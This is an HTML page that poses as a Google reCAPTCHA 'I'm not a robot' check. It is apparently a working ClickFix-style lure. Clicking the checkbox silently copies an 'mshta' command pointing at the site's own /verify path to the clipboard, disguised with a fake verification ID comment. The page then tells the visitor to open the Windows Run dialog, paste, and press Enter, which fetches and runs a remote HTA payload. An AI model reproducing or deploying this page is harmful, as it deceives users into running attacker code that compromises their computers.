| <!DOCTYPE html> |
| <html lang="en"> |
| <head> |
| <meta charset="utf-8"> |
| <title>reCAPTCHA Verification</title> |
| <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css"> |
| <style> |
| .bold-large-text { |
| font-weight: bold; |
| font-size: 36px; |
| } |
| .container { |
| font-family: Roboto, helvetica, arial, sans-serif; |
| } |
| .m-p { |
| margin: 0; |
| padding: 0; |
| } |
| .block { |
| display: block; |
| } |
| code { |
| font-size: 9px; |
| margin-left: 2px; |
| color: gray; |
| } |
| .line-normal { |
| line-height: normal; |
| } |
| .checkbox-window { |
| height: 74px; |
| width: 300px; |
| background-color: #f9f9f9; |
| border-radius: 3px; |
| border: 1px solid #d3d3d3; |
| } |
| .checkbox-window a { |
| color: #555; |
| text-decoration: none; |
| } |
| .checkbox-window a:hover { |
| color: #555; |
| text-decoration: underline; |
| } |
| .checkbox-container { |
| width: 28px; |
| height: 28px; |
| } |
| .checkbox { |
| position: relative; |
| background-color: #fff; |
| border-radius: 2px; |
| height: 100%; |
| width: 100%; |
| border: 2px solid #c1c1c1; |
| margin: 21px 0 0 12px; |
| outline: none; |
| font-family: Roboto, helvetica, arial, sans-serif; |
| transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms; |
| } |
| .checkbox:hover { |
| border: 2px solid #b2b2b2; |
| } |
| .im-not-a-robot { |
| position: relative; |
| left: 52px; |
| bottom: 3px; |
| font-size: 15px; |
| color: #282727; |
| } |
| .captcha-logo { |
| position: relative; |
| left: 244px; |
| bottom: 36px; |
| width: 40px; |
| height: 45px; |
| vertical-align: baseline; |
| padding-bottom: 4px; |
| } |
| .checkbox-desc { |
| color: #555555; |
| position: relative; |
| font-size: 8px; |
| text-align: center; |
| bottom: 40px; |
| left: 112px; |
| } |
| .spinner { |
| visibility: hidden; |
| position: relative; |
| top: -85px; |
| left: 12px; |
| height: 20px; |
| width: 20px; |
| border: 2px solid rgba(0, 0, 0, 0.1); |
| border-top: 2px solid #333; |
| border-radius: 50%; |
| opacity: 0; |
| transition: opacity 0.5s linear; |
| animation: spin 1s linear infinite; |
| } |
| @keyframes spin { |
| 0% { transform: rotate(0deg); } |
| 100% { transform: rotate(360deg); } |
| } |
| .verify-window { |
| font-family: Roboto, helvetica, arial, sans-serif; |
| opacity: 0; |
| position: absolute; |
| visibility: hidden; |
| margin: auto; |
| width: 310px; |
| background-color: #fff; |
| border: 1px solid #cecece; |
| box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12); |
| transition: opacity 400ms; |
| } |
| ol { |
| counter-reset: item; |
| list-style-type: none; |
| padding-left: 0; |
| } |
| ol li { |
| counter-increment: item; |
| margin-bottom: 10px; |
| } |
| ol li::before { |
| content: counter(item) ". "; |
| color: #1A73E8; |
| font-weight: bold; |
| margin-right: 10px; |
| margin-left: 10px; |
| } |
| .verify-container { |
| padding: 8px; |
| } |
| .verify-header { |
| background-color: #1A73E8; |
| padding: 16px 16px 24px 16px; |
| color: #fff; |
| } |
| .verify-header-text-small { |
| font-size: 14px; |
| line-height: normal; |
| } |
| .verify-header-text-medium { |
| font-size: 16px; |
| } |
| .verify-header-text-big { |
| font-size: 24px; |
| font-weight: 700; |
| } |
| .verify-main { |
| padding: 5px; |
| color: #111; |
| font-size: 14px; |
| } |
| .verify-footer { |
| border-top: 1px solid #cecece; |
| padding: 10px 7px 10px 7px; |
| color: #737373; |
| display: grid; |
| grid-template-columns: auto 102px; |
| font-size: 13px; |
| } |
| .verify-footer-left { |
| padding: 5px; |
| } |
| .verify-verify-button { |
| text-transform: uppercase; |
| background-color: #5a89e2; |
| color: #fff; |
| text-align: center; |
| width: 100%; |
| padding: 12px 0; |
| text-decoration: none; |
| font-weight: 600; |
| height: min-content; |
| border-radius: 3px; |
| font-size: 14px; |
| border: none; |
| outline: none; |
| cursor: not-allowed; |
| } |
| </style> |
| </head> |
| <body> |
| <div class="container m-p"> |
| <div id="checkbox-window" class="checkbox-window m-p block"> |
| <div class="checkbox-container m-p"> |
| <button type="button" id="checkbox" class="checkbox m-p line-normal"></button> |
| </div> |
| <p class="im-not-a-robot m-p line-normal">I'm not a robot</p> |
| <img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" class="captcha-logo line-normal" alt="reCAPTCHA"> |
| <br> |
| <p class="checkbox-desc m-p line-normal"> |
| <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - |
| <a href="https://www.google.com/intl/en/policies/terms/">Terms</a> |
| </p> |
| <img class="spinner" alt="" id="spinner"> |
| </div> |
|
|
| <div id="verify-window" class="verify-window"> |
| <div class="verify-container"> |
| <header class="verify-header"> |
| <span class="verify-header-text-medium m-p block">Complete these</span> |
| <span class="verify-header-text-big m-p block">Verification Steps</span> |
| </header> |
| <main class="verify-main"> |
| <p>To better prove you are not a robot, please:</p> |
| <ol> |
| <li>Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li> |
| <li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li> |
| <li>Press <b>Enter</b> on your keyboard to finish.</li> |
| </ol> |
| <p class="verify-main"> |
| You will observe and agree:<br> |
| <code> |
| ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>" |
| </code> |
| </p> |
| </main> |
| </div> |
| <footer class="verify-container verify-footer"> |
| <div class="verify-footer-left"> |
| Perform the steps above to finish verification. |
| </div> |
| <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button> |
| </footer> |
| </div> |
| </div> |
|
|
| <script> |
| let checkboxWindow = document.getElementById("checkbox-window"); |
| let checkboxBtn = document.getElementById("checkbox"); |
| let checkboxBtnSpinner = document.getElementById("spinner"); |
| let verifywindow = document.getElementById("verify-window"); |
| |
| function addCaptchaListeners() { |
| if (checkboxBtn) { |
| document.addEventListener("click", function (event) { |
| let path = event.composedPath(); |
| if (!path.includes(verifywindow) && isverifywindowVisible()) { |
| closeverifywindow(); |
| } |
| }); |
| checkboxBtn.addEventListener("click", function (event) { |
| event.preventDefault(); |
| checkboxBtn.disabled = true; |
| runClickedCheckboxEffects(); |
| }); |
| } |
| } |
| |
| function runClickedCheckboxEffects() { |
| hideCaptchaCheckbox(); |
| setTimeout(showCaptchaLoading, 500); |
| setTimeout(showVerifyWindow, 900); |
| } |
| |
| function showCaptchaLoading() { |
| checkboxBtnSpinner.style.visibility = "visible"; |
| checkboxBtnSpinner.style.opacity = "1"; |
| } |
| |
| function hideCaptchaLoading() { |
| checkboxBtnSpinner.style.opacity = "0"; |
| setTimeout(() => { |
| checkboxBtnSpinner.style.visibility = "hidden"; |
| }, 500); |
| } |
| |
| function hideCaptchaCheckbox() { |
| checkboxBtn.style.width = "4px"; |
| checkboxBtn.style.height = "4px"; |
| checkboxBtn.style.borderRadius = "50%"; |
| checkboxBtn.style.marginLeft = "25px"; |
| checkboxBtn.style.marginTop = "33px"; |
| checkboxBtn.style.opacity = "0"; |
| } |
| |
| function showCaptchaCheckbox() { |
| checkboxBtn.style.width = "100%"; |
| checkboxBtn.style.height = "100%"; |
| checkboxBtn.style.borderRadius = "2px"; |
| checkboxBtn.style.margin = "21px 0 0 12px"; |
| checkboxBtn.style.opacity = "1"; |
| } |
| |
| function generateRandomNumber() { |
| const min = 1000; |
| const max = 9999; |
| return Math.floor(Math.random() * (max - min + 1) + min).toString(); |
| } |
| |
| function closeverifywindow() { |
| verifywindow.style.display = "none"; |
| verifywindow.style.visibility = "hidden"; |
| verifywindow.style.opacity = "0"; |
| showCaptchaCheckbox(); |
| hideCaptchaLoading(); |
| checkboxBtn.disabled = false; |
| } |
| |
| function isverifywindowVisible() { |
| return verifywindow.style.display !== "none"; |
| } |
| |
| function setClipboardCopyData(textToCopy) { |
| const tempTextArea = document.createElement("textarea"); |
| tempTextArea.value = textToCopy; |
| document.body.appendChild(tempTextArea); |
| tempTextArea.select(); |
| document.execCommand("copy"); |
| document.body.removeChild(tempTextArea); |
| } |
| |
| function stageClipboard(commandToRun, verification_id) { |
| const suffix = " # "; |
| const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "; |
| const end = "''"; |
| const textToCopy = commandToRun + suffix + ploy + verification_id + end; |
| setClipboardCopyData(textToCopy); |
| } |
| |
| function showVerifyWindow() { |
| if (!verifywindow) { |
| console.error('Verify window element is missing!'); |
| return; |
| } |
| verifywindow.style.display = "block"; |
| verifywindow.style.visibility = "visible"; |
| verifywindow.style.opacity = "1"; |
| verifywindow.style.position = "fixed"; |
| verifywindow.style.top = "50%"; |
| verifywindow.style.left = "50%"; |
| verifywindow.style.transform = "translate(-50%, -50%)"; |
| |
| const verification_id = generateRandomNumber(); |
| const verificationIdElement = document.getElementById('verification-id'); |
| if (verificationIdElement) { |
| verificationIdElement.textContent = verification_id; |
| } |
| |
| const htaPath = window.location.origin + "/verify"; |
| const commandToRun = "mshta " + htaPath; |
| stageClipboard(commandToRun, verification_id); |
| } |
| |
| addCaptchaListeners(); |
| </script> |
| </body> |
| </html> |